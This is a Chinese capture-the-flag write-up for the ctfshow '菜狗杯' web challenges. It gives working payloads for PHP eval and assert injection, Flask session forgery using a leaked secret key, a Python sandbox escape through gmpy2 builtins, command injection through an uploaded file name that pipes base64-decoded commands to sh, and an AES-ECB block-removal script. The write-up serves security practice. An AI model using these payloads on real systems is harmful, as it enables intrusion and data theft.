CTFSHOW菜狗杯 web

文章目录

*
web签到
web2 c0me_t0_s1gn
我的眼里只有$
抽老婆
一言既出
驷马难追
TapTapTap
Webshell
化零为整
无一幸免
传说之下(雾)
算力超群
算力升级
2
遍地飘零
茶歇区
小舔田?
LSB探姬
Is_Not_Obfuscate
龙珠NFT

web签到

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

简单的解释下这个嵌套

加入cookie中传入 CTFshow-QQ群:=a那么就会出现 $_POST['a'],假如post传入的值为 a=b,那么就会得到 $_GET['b'],接着假如get传入 b=c就会得到 $_REQUEST['c']
$_REQUEST就get、post都可以接收啦。
加入再get传入 c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了
c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

CTFSHOW菜狗杯 web

web2 c0me_t0_s1gn

注释里面有一半flag

CTFSHOW菜狗杯 web
然后控制台运行 g1ve_flag()得另一半flag
CTFSHOW菜狗杯 web

; 我的眼里只有$

又是群主出的题,不得不说群主老大出的题真的是花里胡哨😁

extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);

可以看到就是个变量覆盖然后再无限套娃。
假设我们post传入 _=a那么 $_=a,如果在post传入 a=b那么 $$_=b
以此类推传入一定数量的参数就可以了,最后一个的值是我们要传入eval的代码。
不过这 $属实是有点多,还是写个脚本吧

import string
s = string.ascii_letters
t='_=a&'
code="phpinfo();"
for i in range(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)

抽老婆

下载页面存在文件读取。
随便读个文件,报错页面可以看出是python flask写的了。

CTFSHOW菜狗杯 web
读下源码试试 file=../../app.py
有secret_key app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
后面还在session里面存在判断
CTFSHOW菜狗杯 web
session伪造没跑了,直接跑脚本 https://github.com/noraj/flask-session-cookie-manager
先解密下看看结构
CTFSHOW菜狗杯 web
伪造下这个参数应该就可以了
python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'c1c437b721d6dcc27ccf4cb8412bd5b6.jpg', 'isadmin': True}"

CTFSHOW菜狗杯 web
然后拿着生成的session去访问 secret_path_U_never_know即可拿到flag。

一言既出

<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    }
}
</code>

assert和eval差不多,里面可以执行php代码。那么闭合再注释就可以了。

?num=114514);//

驷马难追

增加了过滤没法闭合了,这也好办,我们可以运行加减乘除嘛。

?num=114514+1805296
&#x52A0;&#x53F7;&#x9700;&#x8981;&#x7F16;&#x7801;&#x4E0B;
?num=114514%2b1805296

TapTapTap

游戏题,直接找js代码。
看到可以的地方

CTFSHOW菜狗杯 web
直接base64解码得到 Your flag is in /secret_path_you_do_not_know/secretfile.txt
访问该地址得到flag。

; Webshell

非常简单的反序列化


    class Webshell {
        public $cmd = 'cat /f*;cat f*';
    }
echo serialize(new Webshell);
?>

flag在源代码里面

化零为整

这道题也很有意思。
中文在php里面长度是3,其实很容易想到中文的url编码就是3个
比如 &#x5927;的url编码就是 %E5%A4%A7
所以这三个url编码字符拼接起来就是一个中文字符了
payload

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

传个数组就可以了
?0[]=

传说之下(雾)

同样是游戏题,需要我们分数到2077才可以。
来个暴力点的方法,在js代码中找到和分数相关的变量。

CTFSHOW菜狗杯 web

可以猜到就是每次吃到一个得一分,我们把这个1直接改成2078。(改成2077还得再吃一个)
先开始比赛后暂停,找到下面的位置,把分数改掉。

CTFSHOW菜狗杯 web
CTFSHOW菜狗杯 web

然后ctrl+s保存下。
再随便吃一个死掉就可以拿到flag了。

CTFSHOW菜狗杯 web
flag在控制台里面
CTFSHOW菜狗杯 web

; 算力超群

一般碰到计算器就很容易和命令执行扯到一块。
随便计算下然后抓个包

CTFSHOW菜狗杯 web
有这么几个参数(number1、operator、number2)
输点乱七八糟的字符就可以看到报错信息了
CTFSHOW菜狗杯 web
经过测试对number1和operator有些过滤,但是number2没有。
payload
_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

算力升级

这个题感觉质量还是不错的。
是个python的代码执行,但是有些过滤。

CTFSHOW菜狗杯 web
如果是字母数字下划线(\w)需要是gmpy2库里的。剩下的字符顺便输。
可以本地看下gmpy2
CTFSHOW菜狗杯 web
这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

比如我们想执行eval可以这样来
gmpy2.__builtins__['eval']('xxx')
而其中的 eval可以通过 'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]得到,其他的类似。
因为命令太长了,我也懒得弄,所以就通过 request.args['1']获得。
最终payload

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')

GET&#xFF1A;
tiesuanzi?1=__import__('os').popen("cat /flag").read()

&#x7B49;&#x4EF7;&#x4E8E;
gmpy2.__builtins__['eval']('eval(request.args["1"])')

2

关键代码就一句
subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
其中 cmd半可控, param可控 __file__是个固定值。
第一个参数作为命令,后面的都是该命令的参数
比如执行

`subprocess.run(['ls','/etc','/'])

就等价于 ls /etc /
会同时列出 /&#x548C;/etc下的文件及文件夹
cat也是如此。
有一点要注意,不要看到request.form.get就以为是get传参,其实是接收的post参数
payload

cmd=ls&#xB6;m=.

cmd=cat&#xB6;m=flag.txt

遍地飘零

考察变量覆盖,最终只有一个地方可以输入 var_dump($_GET);
所以我们就把要用的flag赋值给GET就好了
_GET=flag

茶歇区

这道题没搞懂咋回事,不过应该和溢出有关。

CTFSHOW菜狗杯 web
发送两次就可以了。
为啥不在a的位置,猜测可能是a单价是1,是没有进行乘法运算的。其他的也类似,不是1的应该都可以。

; 小舔田?

很入门的反序列化,直接上payload了。


class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

}
$a = new Moon();
$b = new Ion_Fan_Princess();
$a->name=$b;
echo serialize($a);

LSB探姬

直接来看源码。

CTFSHOW菜狗杯 web
存在命令执行,并且cmd中有内容是可控的,是我们上传文件的文件名。
不过本地测试发现不出网,那么我们就把执行命令的结果写到静态文件里就好了。
需要注意的点就是传入的用户名中不能有 /估计还有一些其他的字符。
所以还是用base64编码来执行把
import requests
url="http://8516ca37-5457-4ae5-aae6-7800f08dc03f.challenge.ctf.show/"
files={"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")}

requests.post(url+'upload',files=files)

r2 = requests.get(url+'static/js/ansi_up.js')
print(r2.text)

Is_Not_Obfuscate

很迷的一道题,全靠蒙。

CTFSHOW菜狗杯 web
通过源代码可以得知
1、存在robots.txt。
2、当action=test时会执行input的内容,不过经过了一个decode

访问下robots.txt,发现存在lib.php、plugins文件夹、还有一个flag参数

CTFSHOW菜狗杯 web
那很容易想到flag=1
CTFSHOW菜狗杯 web
内容如上。
刚才发现input传入的内容经过decode之后会进入eval,那么input的内容肯定是一段加密后的了。
这么看刚才出来的内容就像是需要的了。
input=&#x7C7B;&#x4F3C;&#x4E8E;base64&#x7684;&#x4E1C;&#x897F;&action=test

得到源码

CTFSHOW菜狗杯 web
存在一个代码执行的点和一个文件写入的点。
CTFSHOW菜狗杯 web
大概意思就是假如我们传入 output=phpinfo()&action=push,则会生成一个文件,路径为 plugins/md5&#x503C;该md5值是可以本地计算得到了,就是我们代码后面拼接行youyou的md5。
内容是经过encode加密的。
然后如果在传入 action=pull&input=&#x521A;&#x624D;&#x751F;&#x6210;&#x7684;&#x6587;&#x4EF6;&#x8DEF;&#x5F84;就可以运行刚才的代码了。
payload
action=push&output=system('cat f*;cat /f*');
action=pull&input=41fbd06940c629af4cff4d809d386324     system('cat f*;cat /f*');youyou&#x7684;md5

龙珠NFT

感觉更多的像是密码学题。
简单的解释下源码各个路由的功能
/
提供注册功能,会将用户名的md5作为session存入。
radar
单纯的一个界面,什么用没有。
find_dragonball
如果是第一次访问,那么dragonball就是固定值1。
否则访问后产生一个随机数范围是1-1000
如果是在0-6之间,那么就把dragonball赋值为该数,否则就赋值为0。
并且每个用户都是只有十次机会。
get_dragonball
传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠。
flag
有1-7号的dragonball就拿到flag。

大致看下去基本是无解。
即使你想用暴力破解的方式。但是最大的问题是永远不可能获得数字7。
唯一可能有问题的地方就是加密方法了。
可以看到它使用的是AES中的ECB。
而ECB是分段加密的

CTFSHOW菜狗杯 web
明文按照16字节分成n块,通过加密器对每一块进行加密获得n个密文块。最后一块通常不够16字节需要按照一定的填充规则进行填充。
我们来看下要加密的内容
{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}
按16个分组后的结果
{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball":
"1", "round_no":
 "9", "time":"2
 022-10-19 15:06
 :45"}

也就是说我们如果是同一个用户的话,前四段加密的结果是一样的。我们希望的是dragonball后面的数字是可控的。
这时候就需要脑洞打开了。
如果我们把第五行删掉会出现什么情况呢

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball":
 "9", "time":"2
 022-10-19 15:06
 :45"}

经过json解析后其实可以得到dragonball为9,而这个次数我们是可以控制的。也就可以控制生成的龙珠数了。

import requests
import base64
import re
from urllib.parse import *

url = 'http://ab901b43-8e6c-4049-b50c-d403a5db8524.challenge.ctf.show/'
sess = requests.Session()

sess.get(url+'?username=1')
for i in range(7):
    url1 = url + 'find_dragonball'
    r1 = sess.get(url1)
    a = r1.json()["address"]
    b = base64.b64decode(a.encode()).hex()

    c = b[:128]+b[160:]

    d = quote(base64.b64encode(bytes.fromhex(c)).decode())

    url2 = url + f'get_dragonball?address={d}'
    r2 = sess.get(url2)
    print(r2.text)
r3  = sess.get(url+'flag')
flag = re.findall('ctfshow{.*?}',r3.text)[0]
print(flag)

Original: https://blog.csdn.net/miuzzx/article/details/127830557
Author: yu22x
Title: CTFSHOW菜狗杯 web

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/750414/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 【赵渝强老师】MySQL高可用架构:MHA

    MHA(Master HA)是一款开源的 MySQL 的高可用程序,它为 MySQL 主从复制架构提供了 automating master failover 功能。MHA 在监控…

    Python 2023年6月3日
    067
  • 【云原生| Docker】 部署 Django & mysql 项目

    🤵‍♂️ 个人主页: @计算机魔术师👨‍💻 作者简介:CSDN内容合伙人,全栈领域优质创作者。🌐 推荐一款找工作神器网站: 点击跳转牛客网登陆注册 |笔试题库|面试经验|实习招聘内…

    Python 2023年8月1日
    049
  • scrapy mysql django_在Scrapy中使用Django的ORM异步存储数据

    在Scrapy中使用Django的ORM异步存储数据 django的orm可以脱离django使用,只要我们将django的环境舒适化就可以了。 在scrapy中使用 首先我们的创…

    Python 2023年10月5日
    050
  • pytorch代码笔记

    优兔卜/watch?v=c36lUUr864M&t=936shttps://github.com/python-engineer/pytorchTutorial.git 后…

    Python 2023年8月27日
    063
  • 基于 iframe 的微前端框架 —— 擎天

    vivo 互联网前端团队- Jiang Zuohan 一、背景 VAPD是一款专为团队协作办公场景设计的项目管理工具,实践敏捷开发与持续交付,以「项目」为核心,融合需求、任务、缺陷…

    Python 2023年10月22日
    040
  • ROS中的时间

    ros::Time t1 = ros::Time::now(); double t_cur = t1.toSec(); printf("The time is: %16f…

    Python 2023年8月8日
    099
  • 22. Pandas怎么处理日期索引的缺失

    问题:按日期统计的数据,缺失了某天,导致数据不全该怎么补充日期? 公众号:蚂蚁学Python 可以用两种方法实现:1、DataFrame.reindex,调整dataframe的索…

    Python 2023年8月7日
    065
  • 电商系统中购物车功能设计实现

    1、业务需求分析 无论用户是否处于登录状态,都可以把商品添加到购物车中,并操作购物车中的商品。没登录的情况下,可以先选择想要的商品到购物车中,当登录之后,直接把之前没登录的购物车的…

    Python 2023年8月6日
    049
  • 低代码多分支协同开发的建设与实践

    作者:黄也(胖丁) 引言 随着低代码的普及,在低代码平台上构建企业级应用逐渐成为生产趋势。同时,随着低代码技术的提升,越来越多的复杂应用在低代码平台中完成。在其研发生命周期中,低代…

    Python 2023年10月24日
    033
  • 关于入门深度学习mnist数据集前向计算的记录

    import osimport lr as lrimport tensorflow as tffrom pyspark.sql.functions import stddevfro…

    Python 2023年10月28日
    028
  • 【测开面经】Python篇

    文章目录 Python的优点 Python基本数据类型 数组和列表的区别 列表、元组、集合与字典的区别 可变类型与不可变类型以及is与==的比较 参数 格式化字符串 生成器 * 生…

    Python 2023年8月15日
    076
  • github python 数据分析_python数据分析

    所有资料汇总学习:点这里 利用python进行数据分析 数据在这里下载 github连接 记得点个star!!! 里面还放着一些陈年老代码,都是机器学习和数据分析相关的。(没怎么整…

    Python 2023年8月8日
    077
  • 解决计划任务bat脚本中涉及网络位置时遇到的问题

    解决掉困扰几天的bug神清气爽,赶紧来写篇随笔~ 前几天由于安全原因把一个Windows Server 2012 R2上的本地硬盘SFTP换成了一个NAS SFTP 然后理所当然的…

    Python 2023年6月10日
    065
  • 几亿人都在玩的谷歌小恐龙游戏,全世界最高分是 99999?你呢?

    前言 “越努力越幸运鸭💦💦,记得每天进步一点点哦!” ——Python是世界上最好的语言 Everybody 大家好~(也不清楚我的开头的单词写错没,懒.j…

    Python 2023年9月21日
    058
  • 07python列表

    这篇文章主要介绍列表的一些知识。 函数list 首先需要说明的是,列表与元组、字符串一样都是一种序列,但不同的是列表是可变的,即可修改其内容。 因为不能像修改列表那样修改字符串,所…

    Python 2023年10月30日
    038
  • Matplotlib实现常用图的数据可视化

    本文目录 1.绘制正弦曲线,并设置标题、坐标轴名称、坐标轴范围 2.同一坐标系中绘制多种曲线并通过样式、宽度、颜色加以区分 3.绘制多轴图,即将多幅子图绘制在同一画板 4.直方图的…

    Python 2023年9月6日
    060
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球